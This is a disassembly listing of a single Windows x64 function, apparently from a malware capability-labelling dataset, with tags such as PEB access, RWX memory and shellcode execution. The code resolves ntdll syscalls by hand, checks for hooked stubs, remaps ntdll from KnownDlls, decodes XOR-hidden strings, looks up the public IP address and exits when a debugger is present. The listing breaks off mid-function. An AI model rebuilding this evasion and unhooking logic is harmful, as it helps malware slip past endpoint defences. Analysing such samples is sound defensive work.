Function at 0x14000a470
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Check for peb beingdebugged flag
Check os version
Encode data using xor
Execute shellcode via indirect call
Get number of processors
Hash data using crc32b
Inspect section memory permissions
Parse pe header
Query or enumerate registry key
Query or enumerate registry value
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x570]
sub rsp, 0x670
mov rax, qword [0x1400ab0c0]
xor rax, rsp
mov qword [rbp + 0x560], rax
mov dword [rbp - 0x78], 0
xor edi, edi
mov rax, qword gs:[0x60]
mov rdx, qword [rax + 0x18]
add rdx, 0x20
mov rax, qword [rdx]
cmp rax, rdx
je 0x14000a4e4
nop word [rax + rax]
cmp qword [rax + 0x50], rdi
jne 0x14000a4e0
mov rax, qword [rax]
cmp rax, rdx
jne 0x14000a4d0
jmp 0x14000a4e4
lea rdi, [rax - 0x10]
mov rdi, qword [rdi + 0x30]
mov qword [rbp - 0x68], rdi
movsxd rbx, dword [rdi + 0x3c]
add rbx, rdi
mov qword [rsp + 0x68], rbx
movzx r12d, word [rbx + 0x14]
add r12, rbx
mov qword [rbp - 0x40], r12
xor r13d, r13d
mov dword [rbp - 0x7c], r13d
xor ebx, ebx
lea rsi, [0x1400ac4d0]
lea rax, [rbx + rbx*4]
lea r15, [rax*8]
mov eax, dword [r12 + r15 + 0x3c]
and eax, 0xc0000000
cmp eax, 0x40000000
jne 0x14000ab23
mov edx, dword [r12 + r15 + 0x20]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x14000a9ba
xor r13d, r13d
mov rcx, qword gs:[0x60]
mov r14, qword [rcx + 0x18]
add r14, 0x20
mov rdi, qword [r14]
cmp rdi, r14
je 0x14000a59d
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14000a58f
lea rcx, str.ntdll.dll
call fcn.1400067b0
test rax, rax
jne 0x14000a599
mov rdi, qword [rdi]
cmp rdi, r14
jne 0x14000a575
jmp 0x14000a59d
lea r13, [rdi - 0x10]
mov rdi, qword [r13 + 0x30]
test rdi, rdi
je 0x14000a64f
mov eax, 0x5a4d
cmp word [rdi], ax
jne 0x14000a64f
mov eax, dword [rdi + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14000a64f
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14000a64f
mov r10d, dword [rax + 0x20]
add r10, rdi
mov esi, dword [rax + 0x24]
add rsi, rdi
mov r14d, dword [rax + 0x1c]
add r14, rdi
xor r9d, r9d
xor r8d, r8d
mov r11d, dword [rax + 0x14]
test r11d, r11d
je 0x14000a64f
lea r13, str.NtReadVirtualMemory
nop
mov ecx, dword [r10 + r8*4]
add rcx, rdi
mov rax, r13
je 0x14000a644
movzx edx, byte [rcx]
cmp dl, 0x4e
jne 0x14000a636
sub rcx, r13
test dl, dl
je 0x14000a62d
cmp byte [rax], 0
je 0x14000a636
inc rax
movzx edx, byte [rcx + rax]
cmp dl, byte [rax]
je 0x14000a617
jmp 0x14000a636
cmp byte [rax], 0
je 0x14000a7d0
movsx ecx, byte [rax]
movsx eax, dl
cmp eax, ecx
je 0x14000a7d0
inc r9d
inc r8
cmp r9d, r11d
jb 0x14000a600
mov r14d, dword [r12 + r15 + 0x24]
add r14, qword [rbp - 0x68]
lea rax, [rbx + rbx*2]
lea rcx, [rax*8]
lea rdx, [0x1400ac4d0]
mov qword [rcx + rdx], r14
mov eax, dword [r12 + r15 + 0x20]
mov dword [rcx + rdx + 8], eax
mov esi, dword [r12 + r15 + 0x20]
mov edi, 0xffffffff
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov ecx, 0x4c11db7
call fcn.1400202f0
mov r8d, eax
test rsi, rsi
je 0x14000a72d
nop dword [rax]
movzx ecx, byte [r14]
xor edi, ecx
lea r14, [r14 + 1]
mov edx, edi
shr edx, 1
mov ecx, edx
xor ecx, r8d
test dil, 1
cmovne edx, ecx
mov ecx, edx
shr ecx, 1
mov eax, ecx
xor eax, r8d
test dl, 1
cmovne ecx, eax
mov edx, ecx
shr edx, 1
mov eax, edx
xor eax, r8d
test cl, 1
cmovne edx, eax
mov ecx, edx
shr ecx, 1
mov eax, ecx
xor eax, r8d
test dl, 1
cmovne ecx, eax
mov edx, ecx
shr edx, 1
mov eax, edx
xor eax, r8d
test cl, 1
cmovne edx, eax
mov ecx, edx
shr ecx, 1
mov eax, ecx
xor eax, r8d
test dl, 1
cmovne ecx, eax
mov edx, ecx
shr edx, 1
mov eax, edx
xor eax, r8d
test cl, 1
cmovne edx, eax
mov edi, edx
shr edi, 1
mov eax, edi
xor eax, r8d
test dl, 1
cmovne edi, eax
sub rsi, 1
jne 0x14000a6a0
not edi
lea rax, [rbx + rbx*2]
lea rsi, [0x1400ac4d0]
mov dword [rsi + rax*8 + 0xc], edi
mov r9d, dword [r12 + r15 + 0x20]
lea rax, [rbx + rbx*2]
mov rdx, qword [rsi + rax*8]
mov edi, 0xffff
mov r8d, edi
test r9, r9
je 0x14000a7a0
mov r12d, 0x167
nop
mov ecx, r9d
cmp r9, r12
cmova ecx, r12d
mov eax, ecx
sub r9, rax
nop
mov rax, qword [rdx]
inc rdx
add edi, eax
add r8d, edi
add ecx, 0xffffffff
jne 0x14000a770
mov ecx, edi
shr ecx, 0x10
movzx edi, di
add edi, ecx
mov ecx, r8d
shr ecx, 0x10
movzx r8d, r8w
add r8d, ecx
test r9, r9
jne 0x14000a760
mov r12, qword [rbp - 0x40]
mov edx, edi
shr edx, 0x10
movzx eax, di
add edx, eax
mov ecx, r8d
shr ecx, 0x10
movzx eax, r8w
add ecx, eax
shl ecx, 0x10
or ecx, edx
lea rax, [rbx + rbx*2]
mov dword [rsi + rax*8 + 0x10], ecx
mov r13, qword [rbp - 0x70]
mov rdi, qword [rbp - 0x68]
jmp 0x14000a9a0
movzx eax, word [rsi + r8*2]
mov r10d, dword [r14 + rax*4]
add r10, rdi
je 0x14000a64f
mov edx, dword [r12 + r15 + 0x24]
mov rdi, qword [rbp - 0x68]
add rdx, rdi
mov qword [rsp + 0x20], 0
mov r9d, dword [r12 + r15 + 0x20]
mov r13, qword [rbp - 0x70]
mov r8, r13
mov rcx, 0xffffffffffffffff
call r10
test eax, eax
js 0x14000a999
lea rax, [rbx + rbx*2]
lea rcx, [rax*8]
mov eax, dword [r12 + r15 + 0x24]
add rax, rdi
lea rdx, [0x1400ac4d0]
mov qword [rcx + rdx], rax
mov eax, dword [r12 + r15 + 0x20]
mov dword [rcx + rdx + 8], eax
mov esi, dword [r12 + r15 + 0x20]
mov edi, 0xffffffff
mov r14, r13
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov ecx, 0x4c11db7
call fcn.1400202f0
mov r8d, eax
test rsi, rsi
je 0x14000a8fd
nop word [rax + rax]
movzx ecx, byte [r14]
xor edi, ecx
lea r14, [r14 + 1]
mov edx, edi
shr edx, 1
mov ecx, edx
xor ecx, r8d
test dil, 1
cmovne edx, ecx
mov ecx, edx
shr ecx, 1
mov eax, ecx
xor eax, r8d
test dl, 1
cmovne ecx, eax
mov edx, ecx
shr edx, 1
mov eax, edx
xor eax, r8d
test cl, 1
cmovne edx, eax
mov ecx, edx
shr ecx, 1
mov eax, ecx
xor eax, r8d
test dl, 1
cmovne ecx, eax
mov edx, ecx
shr edx, 1
mov eax, edx
xor eax, r8d
test cl, 1
cmovne edx, eax
mov ecx, edx
shr ecx, 1
mov eax, ecx
xor eax, r8d
test dl, 1
cmovne ecx, eax
mov edx, ecx
shr edx, 1
mov eax, edx
xor eax, r8d
test cl, 1
cmovne edx, eax
mov edi, edx
shr edi, 1
mov eax, edi
xor eax, r8d
test dl, 1
cmovne edi, eax
sub rsi, 1
jne 0x14000a870
not edi
lea rax, [rbx + rbx*2]
lea rsi, [0x1400ac4d0]
mov dword [rsi + rax*8 + 0xc], edi
mov r9d, dword [r12 + r15 + 0x20]
mov rdx, r13
mov edi, 0xffff
mov r8d, edi
test r9, r9
je 0x14000a970
mov r12d, 0x167
nop dword [rax]
mov ecx, r9d
cmp r9, r12
cmova ecx, r12d
mov eax, ecx
sub r9, rax
nop
mov rax, qword [rdx]
inc rdx
add edi, eax
add r8d, edi
add ecx, 0xffffffff
jne 0x14000a940
mov ecx, edi
shr ecx, 0x10
movzx edi, di
add edi, ecx
mov ecx, r8d
shr ecx, 0x10
movzx r8d, r8w
add r8d, ecx
test r9, r9
jne 0x14000a930
mov r12, qword [rbp - 0x40]
mov edx, edi
shr edx, 0x10
movzx eax, di
add edx, eax
mov ecx, r8d
shr ecx, 0x10
movzx eax, r8w
add ecx, eax
shl ecx, 0x10
or ecx, edx
lea rax, [rbx + rbx*2]
mov dword [rsi + rax*8 + 0x10], ecx
mov rdi, qword [rbp - 0x68]
jmp 0x14000a9a0
lea rsi, [0x1400ac4d0]
xor edx, edx
mov r8d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r13d, dword [rbp - 0x7c]
jmp 0x14000ab23
mov r14d, dword [r12 + r15 + 0x24]
add r14, rdi
lea rax, [rbx + rbx*2]
lea rcx, [rax*8]
mov qword [rcx + rsi], r14
mov eax, dword [r12 + r15 + 0x20]
mov dword [rcx + rsi + 8], eax
mov esi, dword [r12 + r15 + 0x20]
mov edi, 0xffffffff
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov ecx, 0x4c11db7
call fcn.1400202f0
mov r8d, eax
test rsi, rsi
je 0x14000aa8d
movzx ecx, byte [r14]
xor edi, ecx
lea r14, [r14 + 1]
mov edx, edi
shr edx, 1
mov ecx, r8d
xor ecx, edx
test dil, 1
cmovne edx, ecx
mov ecx, edx
shr ecx, 1
mov eax, r8d
xor eax, ecx
test dl, 1
cmovne ecx, eax
mov edx, ecx
shr edx, 1
mov eax, r8d
xor eax, edx
test cl, 1
cmovne edx, eax
mov ecx, edx
shr ecx, 1
mov eax, r8d
xor eax, ecx
test dl, 1
cmovne ecx, eax
mov edx, ecx
shr edx, 1
mov eax, r8d
xor eax, edx
test cl, 1
cmovne edx, eax
mov ecx, edx
shr ecx, 1
mov eax, r8d
xor eax, ecx
test dl, 1
cmovne ecx, eax
mov edx, ecx
shr edx, 1
mov eax, r8d
xor eax, edx
test cl, 1
cmovne edx, eax
mov edi, edx
shr edi, 1
mov eax, r8d
xor eax, edi
test dl, 1
cmovne edi, eax
sub rsi, 1
jne 0x14000aa00
not edi
lea rax, [rbx + rbx*2]
lea rsi, [0x1400ac4d0]
mov dword [rsi + rax*8 + 0xc], edi
mov r9d, dword [r12 + r15 + 0x20]
lea rax, [rbx + rbx*2]
mov rdx, qword [rsi + rax*8]
mov edi, 0xffff
mov r8d, edi
test r9, r9
je 0x14000aafc
mov r10d, 0x167
nop
mov ecx, r9d
cmp r9, r10
cmova ecx, r10d
mov eax, ecx
sub r9, rax
nop
mov rax, qword [rdx]
inc rdx
add edi, eax
add r8d, edi
add ecx, 0xffffffff
jne 0x14000aad0
mov ecx, edi
shr ecx, 0x10
movzx edi, di
add edi, ecx
mov ecx, r8d
shr ecx, 0x10
movzx r8d, r8w
add r8d, ecx
test r9, r9
jne 0x14000aac0
mov edx, edi
shr edx, 0x10
movzx eax, di
add edx, eax
mov ecx, r8d
shr ecx, 0x10
movzx eax, r8w
add ecx, eax
shl ecx, 0x10
or ecx, edx
lea rax, [rbx + rbx*2]
mov dword [rsi + rax*8 + 0x10], ecx
mov rdi, qword [rbp - 0x68]
inc r13d
mov dword [rbp - 0x7c], r13d
inc rbx
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 6]
cmp r13d, eax
jle 0x14000a514
movabs rax, 0xbbc893603485a687
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov qword [rbp - 0x30], rax
movabs r15, 0x500ddef6b2897206
mov qword [rsp + 0x68], r15
mov rax, qword [rsp + 0x68]
mov qword [rbp - 0x28], rax
movabs r12, 0xbbe2b95306b48cad
mov qword [rsp + 0x68], r12
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0xf0], rax
mov qword [rsp + 0x68], r15
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0xf8], rax
movdqa xmm0, xmmword [rbp - 0x30]
xorps xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp - 0x30], xmm0
lea rdx, [rbp - 0x30]
call fcn.140014210
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000ac3d
lea rcx, [rbp - 0x20]
call fcn.140009500
nop
mov rcx, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x14000abd6
mov rax, qword [rax]
lea rdx, [rdi + 2]
mov qword [rsp + 0x20], rcx
mov r9, rax
mov r8d, 3
call fcn.140015ec0
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x14000ac2c
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ac27
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ac27
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140088520
movdqa xmm0, xmmword [0x14009ca50]
movdqu xmmword [rbp - 0x10], xmm0
mov byte [rbp - 0x20], 0
movabs rax, 0x95d297643485a687
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x70], rax
movabs rax, 0x500ddedc98b85c36
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x68], r12
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0x100], rax
mov qword [rsp + 0x68], r15
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0x108], rax
movdqa xmm0, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rbp + 0x100]
movdqa xmmword [rsp + 0x70], xmm0
lea rdx, [rsp + 0x70]
call fcn.140014210
mov rsi, rax
mov r13d, 1
cmp rax, 0xffffffffffffffff
je 0x14000ae19
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], 0
mov qword [rbp - 0x48], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x60], 0
mov dword [rbp - 0x78], r13d
call qword [fcn.140039f40]
mov rbx, rax
test rax, rax
je 0x14000ad9a
lea r8, str.https:__api.ipify.org
mov edx, 0x2712
mov rcx, rax
call qword [fcn.14003c820]
lea r8, [0x1400094d0]
mov edx, 0x4e2b
mov rcx, rbx
call qword [fcn.14003c820]
lea r8, [rbp - 0x60]
mov edx, 0x2711
mov rcx, rbx
call qword [fcn.14003c820]
mov rcx, rbx
call qword [case.0x1400094bf.2]
mov r14d, eax
test eax, eax
je 0x14000ad91
lea rdx, str.curl_easy_perform___failed:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140016f40
mov rdi, rax
mov ecx, r14d
call qword [fcn.140039630]
mov rdx, rax
mov rcx, rdi
call fcn.140016f40
lea rdx, [0x140017110]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rax, [rbp - 0x60]
cmp qword [rbp - 0x48], 0xf
cmova rax, qword [rbp - 0x60]
mov qword [rbp - 0x50], 0
mov byte [rax], 0
mov rcx, rbx
call qword [fcn.140039f20]
lea r9, [rbp - 0x60]
cmp qword [rbp - 0x48], 0xf
cmova r9, qword [rbp - 0x60]
lea rdx, [rsi + 2]
mov rax, qword [rbp - 0x50]
mov qword [rsp + 0x20], rax
mov r8d, 9
call fcn.140015ec0
mov dword [rbp - 0x78], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x14000ae05
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ae00
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ae00
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140088520
mov qword [rbp - 0x50], 0
mov qword [rbp - 0x48], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x60], 0
movabs rax, 0x88d088603485a687
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0x40], rax
movabs rax, 0x500ddef6b289582c
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0x48], rax
mov qword [rsp + 0x68], r12
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0xe0], rax
mov qword [rsp + 0x68], r15
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0xe8], rax
movdqa xmm0, xmmword [rbp + 0x40]
xorps xmm0, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0x40], xmm0
lea rdx, [rbp + 0x40]
call fcn.140014210
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000af05
lea rcx, [rbp + 0x90]
call fcn.1400096b0
nop
mov rcx, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x14000aea9
mov rax, qword [rax]
lea rdx, [rdi + 2]
mov qword [rsp + 0x20], rcx
mov r9, rax
mov r8d, 6
call fcn.140015ec0
nop
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x14000af05
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000af00
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000af00
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140088520
mov r15, qword gs:[0x60]
mov rax, qword [r15 + 0x18]
add rax, 0x20
mov rsi, qword [rax]
cmp rsi, rax
je 0x14000af8c
nop
cmp qword [rsi + 0x50], 0
je 0x14000af7c
mov rax, qword [rsi + 0x20]
movsxd r14, dword [rax + 0x3c]
add r14, rax
xor edi, edi
movzx eax, word [r14 + 0x14]
lea rbx, [r14 + 0x24]
add rbx, rax
mov ecx, dword [rbx]
add rcx, qword [rsi + 0x20]
mov r8d, Ordinal_50
lea rdx, [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000af6d
cmp dword [rbp + 0x70], 0x1000
jne 0x14000af6d
test dword [rbp + 0x74], 0x100
jne 0x14000afd4
inc edi
add rbx, 0x28
movzx eax, word [r14 + 6]
cmp edi, eax
jle 0x14000af40
mov rax, qword [r15 + 0x18]
add rax, 0x20
mov rsi, qword [rsi]
cmp rsi, rax
jne 0x14000af20
xor r15d, r15d
mov r14d, r15d
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14000afe7
nop dword [rax + rax]
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14000afca
lea rcx, str.ntdll.dll
call fcn.1400067b0
test rax, rax
jne 0x14000afe3
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14000afb0
jmp 0x14000afe7
call fcn.1400093a0
mov ecx, r13d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea r14, [rdi - 0x10]
mov rcx, qword [r14 + 0x30]
mov r12d, 0x5a4d
test rcx, rcx
je 0x14000b09e
cmp word [rcx], r12w
jne 0x14000b09e
mov eax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14000b09e
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14000b09e
mov edi, dword [rax + 0x20]
add rdi, rcx
mov r8d, dword [rax + 0x24]
add r8, rcx
mov r10d, dword [rax + 0x1c]
add r10, rcx
mov r9d, r15d
mov r11d, dword [rax + 0x14]
test r11d, r11d
je 0x14000b09e
mov eax, dword [rdi]
cmp byte [rax + rcx], 0x4e
jne 0x14000b08e
cmp byte [rax + rcx + 1], 0x74
jne 0x14000b08e
movzx eax, word [r8]
mov edx, dword [r10 + rax*4]
lea rax, [rcx + rdx]
cmp byte [rax], 0x4c
jne 0x14000b080
cmp byte [rax + 1], 0x8b
jne 0x14000b080
cmp byte [rax + 2], 0xd1
jne 0x14000b080
cmp byte [rax + 3], 0xb8
jne 0x14000b080
cmp byte [rax + 0x12], 0xf
jne 0x14000b080
cmp byte [rax + 0x13], 5
jne 0x14000b087
jmp 0x14000b08e
cmp byte [rdx + rcx + 0x12], 0xf
jne 0x14000b08e
cmp byte [rdx + rcx + 0x13], 5
je 0x14000b0d0
inc r9d
add rdi, 4
add r8, 2
cmp r9d, r11d
jb 0x14000b040
mov r11, r15
mov rax, qword gs:[0x60]
mov rdx, qword [rax + 0x18]
add rdx, 0x20
mov rax, qword [rdx]
cmp rax, rdx
je 0x14000b0e3
nop word [rax + rax]
cmp qword [rax + 0x50], r15
jne 0x14000b0df
mov rax, qword [rax]
cmp rax, rdx
jne 0x14000b0c0
jmp 0x14000b0e3
call fcn.1400093a0
mov ecx, r13d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea r11, [rax - 0x10]
mov r11, qword [r11 + 0x30]
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
movzx ebx, word [rcx + 0x14]
add rbx, rcx
movzx r14d, word [rcx + 6]
mov r10, r15
lea rsi, [rbx + 0x3c]
mov r8, rsi
nop dword [rax]
nop dword [rax + rax]
mov edi, dword [r8 - 0x18]
add rdi, r11
mov eax, dword [r8]
and eax, 0xe0000000
cmp eax, 0x60000000
jne 0x14000b167
mov rax, rbx
sub rax, rsi
mov r9d, dword [rax + r8 + 0x20]
lea rcx, [rdi + 2]
mov rdx, 0xfffffffffffffffe
sub rdx, rdi
nop
cmp byte [rcx - 2], 0xf
jne 0x14000b15b
cmp byte [rcx - 1], 0xb
jne 0x14000b15b
cmp byte [rcx], r15b
je 0x14000b15b
cmp byte [rcx + 1], r15b
jne 0x14000b30b
inc rcx
lea rax, [rdx + rcx]
cmp rax, r9
jbe 0x14000b140
inc r10
add r8, 0x28
cmp r10, r14
jle 0x14000b110
mov qword [rbp + 0xe0], r15
mov dword [rbp + 0x110], 0xb8
mov dword [rbp + 0x114], 0xd18b4c00
mov word [rbp + 0x118], 0x50f
mov byte [rbp + 0x11a], Ordinal_200
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x28], r15
mov qword [rbp + 0x40], r15
mov dword [rbp + 0x54], r15d
mov dword [rbp + 0x6c], r15d
lea rdi, [rbp + 0x140]
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
lea rax, [rbp + 0x140]
cmp word [rbp + 0x140], r15w
je 0x14000b1dd
add rax, 2
cmp word [rax], r15w
jne 0x14000b1d3
mov r13d, 0x5c
movzx ecx, r13w
lea rdx, str.KnownDlls_
sub rdx, rax
nop dword [rax]
nop word [rax + rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rax + rdx]
test cx, cx
jne 0x14000b200
mov word [rax], r15w
lea rax, [rbp + 0x140]
cmp word [rbp + 0x140], r15w
je 0x14000b22f
add rax, 2
cmp word [rax], r15w
jne 0x14000b225
mov ecx, WSAGetLastError
lea rdx, str.ntdll.dll
sub rdx, rax
nop
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rax + rdx]
test cx, cx
jne 0x14000b240
mov word [rax], r15w
lea rcx, [rbp + 0x140]
mov eax, r15d
cmp word [rbp + 0x140], r15w
je 0x14000b27c
nop dword [rax + rax]
inc eax
lea rcx, [rcx + 2]
cmp word [rcx], r15w
jne 0x14000b270
add ax, ax
mov word [rsp + 0x70], ax
add ax, 2
mov word [rsp + 0x72], ax
lea rax, [rbp + 0x140]
mov qword [rsp + 0x78], rax
movaps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0x90], xmm0
mov dword [rbp + 0x50], Ordinal_50
mov qword [rbp + 0x58], r15
mov dword [rbp + 0x68], 0x40
lea rax, [rbp + 0x90]
mov qword [rbp + 0x60], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x70], xmm0
mov r14, r15
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14000b31e
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14000b301
lea rcx, str.ntdll.dll
call fcn.1400067b0
test rax, rax
jne 0x14000b31a
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14000b2e7
jmp 0x14000b31e
call fcn.1400093a0
mov ecx, r13d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
lea rsi, str.ZwOpenSection
test r9, r9
je 0x14000b3c1
cmp word [r9], r12w
jne 0x14000b3c1
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x14000b3c1
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x14000b3c1
mov edi, dword [rax + 0x20]
add rdi, r9
mov r11d, dword [rax + 0x24]
add r11, r9
mov ebx, dword [rax + 0x1c]
add rbx, r9
mov r8d, r15d
mov r10d, dword [rax + 0x14]
test r10d, r10d
je 0x14000b3c1
mov rdx, rsi
mov ecx, dword [rdi]
add rcx, r9
je 0x14000b3b5
movzx eax, byte [rcx]
cmp al, 0x5a
jne 0x14000b3ab
sub rcx, rsi
nop word [rax + rax]
test al, al
je 0x14000b3a6
cmp byte [rdx], r15b
je 0x14000b3ab
inc rdx
movzx eax, byte [rcx + rdx]
cmp al, byte [rdx]
je 0x14000b390
jmp 0x14000b3ab
cmp byte [rdx], r15b
je 0x14000b404
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x14000b404
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x14000b376
mov r12, r15
mov r14, r15
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14000b419
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14000b3fa
lea rcx, str.ntdll.dll
call fcn.1400067b0
test rax, rax
jne 0x14000b415
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14000b3e0
jmp 0x14000b419
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov r12d, dword [rbx + rcx*4]
add r12, r9
jmp 0x14000b3c4
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
lea rsi, str.ZwMapViewOfSection
test r9, r9
je 0x14000b4b7
mov eax, 0x5a4d
cmp word [r9], ax
jne 0x14000b4b7
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x14000b4b7
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x14000b4b7
mov edi, dword [rax + 0x20]
add rdi, r9
mov r11d, dword [rax + 0x24]
add r11, r9
mov ebx, dword [rax + 0x1c]
add rbx, r9
mov r8d, r15d
mov r10d, dword [rax + 0x14]
test r10d, r10d
je 0x14000b4b7
mov rdx, rsi
mov ecx, dword [rdi]
add rcx, r9
je 0x14000b4ab
movzx eax, byte [rcx]
cmp al, 0x5a
jne 0x14000b4a1
sub rcx, rsi
test al, al
je 0x14000b49c
cmp byte [rdx], r15b
je 0x14000b4a1
inc rdx
movzx eax, byte [rcx + rdx]
cmp al, byte [rdx]
je 0x14000b486
jmp 0x14000b4a1
cmp byte [rdx], r15b
je 0x14000b4f7
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x14000b4f7
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x14000b472
mov r14, r15
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14000b50c
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14000b4ed
lea rcx, str.ntdll.dll
call fcn.1400067b0
test rax, rax
jne 0x14000b508
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14000b4d3
jmp 0x14000b50c
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov r14d, dword [rbx + rcx*4]
add r14, r9
jmp 0x14000b4ba
lea r15, [rdi - 0x10]
mov r9, qword [r15 + 0x30]
lea rsi, str.NtClose
test r9, r9
je 0x14000b640
mov eax, 0x5a4d
cmp word [r9], ax
jne 0x14000b640
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x14000b640
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x14000b640
mov edi, dword [rax + 0x20]
add rdi, r9
mov r11d, dword [rax + 0x24]
add r11, r9
mov ebx, dword [rax + 0x1c]
add rbx, r9
xor r15d, r15d
mov r8d, r15d
mov r10d, dword [rax + 0x14]
test r10d, r10d
je 0x14000b643
nop dword [rax + rax]
mov rdx, rsi
mov ecx, dword [rdi]
add rcx, r9
je 0x14000b5b9
movzx eax, byte [rcx]
cmp al, 0x4e
jne 0x14000b5af
